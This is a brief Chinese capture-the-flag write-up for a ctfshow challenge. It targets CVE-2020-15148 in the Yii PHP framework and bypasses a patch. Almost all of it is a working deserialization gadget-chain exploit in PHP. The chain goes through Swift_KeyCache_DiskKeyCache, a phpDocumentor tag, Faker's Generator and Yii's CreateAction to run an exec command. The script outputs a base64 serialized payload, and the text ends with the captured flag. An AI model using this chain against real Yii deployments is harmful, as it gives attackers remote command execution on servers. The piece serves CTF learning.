PHP/7.3.11框架审计CVE-2020-15148Yii登录前补丁绕过
    思路类似 web267,估计是打过补丁版本

    poc2

    1. <?php
    2. namespace yii\rest{
    3. class CreateAction{
    4. public $checkAccess;
    5. public $id;
    6. public function __construct(){
    7. $this->checkAccess = 'exec';
    8. $this->id = 'cp /fla* tari.txt';
    9. }
    10. }
    11. }
    12. namespace Faker{
    13. use yii\rest\CreateAction;
    14. class Generator{
    15. protected $formatters;
    16. public function __construct(){
    17. $this->formatters['render'] = [new CreateAction(), 'run'];
    18. }
    19. }
    20. }
    21. namespace phpDocumentor\Reflection\DocBlock\Tags{
    22. use Faker\Generator;
    23. class See{
    24. protected $description;
    25. public function __construct()
    26. {
    27. $this->description = new Generator();
    28. }
    29. }
    30. }
    31. namespace{
    32. use phpDocumentor\Reflection\DocBlock\Tags\See;
    33. class Swift_KeyCache_DiskKeyCache{
    34. private $keys = [];
    35. private $path;
    36. public function __construct()
    37. {
    38. $this->path = new See;
    39. $this->keys = array(
    40. // 有就行
    41. "suiyi"=>array("suiyi"=>"suiyi")
    42. );
    43. }
    44. }
    45. echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
    46. }
    47. ?>

    image.png

    image.png
    flag
    ctfshow{b95c815a-ec56-47ac-8da0-ca240539abe3}